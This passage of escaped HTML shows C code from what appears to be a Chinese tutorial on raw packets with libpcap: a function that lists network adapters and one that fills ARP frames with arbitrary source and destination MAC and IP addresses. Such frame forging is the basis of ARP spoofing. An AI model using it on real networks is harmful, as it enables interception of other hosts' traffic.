style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;ChooseDev(char&nbsp;*devbuff,int&nbsp;buffsize,char&nbsp;*ipbuff)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_if_t&nbsp;*alldevs=NULL,*p=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuff[PCAP_ERRBUF_SIZE];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i,choose;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_addr_t&nbsp;*a=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(devbuff,NULL,buffsize);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_findalldevs(&amp;alldevs,errbuff)==-1)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=0;&nbsp;p;&nbsp;p=p-&gt;next)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;%d.%s(%s)\\n&#8221;,++i,p-&gt;name,p-&gt;description);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((a=p-&gt;addresses))<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(a-&gt;addr-&gt;sa_family)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;AF_INET:<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;AF_INET\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;addr)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;IP&nbsp;\u5730\u5740&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;netmask)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;\u63a9\u7801&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Netmask:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;netmask)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;\u672a\u77e5&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;Unknown\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;do<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(scanf(&#8220;%d&#8221;,&amp;choose)!=1&nbsp;||&nbsp;choose&lt;1&nbsp;||choose&gt;i);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=1;&nbsp;i!=choose;&nbsp;p=p-&gt;next,i++);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;strcat(devbuff,p-&gt;name);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(ipbuff,NULL,15);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;a=p-&gt;addresses;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;strcat(ipbuff,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_freealldevs(alldevs);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">void&nbsp;Fill_ARPPACKET(char&nbsp;*ARPPacket,int&nbsp;packetsize,char&nbsp;*desmac,char&nbsp;*desIP,char&nbsp;*srcmac,char&nbsp;*srcip,int&nbsp;op)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/*<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ARPPacket&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*desmac&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*desIP&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*srcmac&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*srcip&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ARP\u5305\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=(DLCHEADER&nbsp;*)ARPPacket;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFRAME&nbsp;*ARPFrame=(ARPFRAME&nbsp;*)(ARPPacket+sizeof(DLCHEADER));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPPacket,NULL,packetsize);&nbsp;&nbsp;\/\/\u6e05\u7a7a\u5305\u5185\u5bb9<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(op==1)&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8868\u793aARP\u8bf7\u6c42\u5305.<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(DLCHeader-&gt;DesMAC,0xff,6);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_Prot_Addr,NULL,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_HW_Addr,NULL,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;else<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,desmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_Prot_Addr,desIP,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_HW_Addr,DLCHeader-&gt;DesMAC,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;SrcMAC,srcmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_HW_Addr,srcmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145ARP\u5305\u6e90IP<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_Prot_Addr,srcip,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader-&gt;EtherType=htons((unsigned&nbsp;short)0x0806);&nbsp;&nbsp;&nbsp;&nbsp;\/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Addr_Len=(unsigned&nbsp;char)6;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 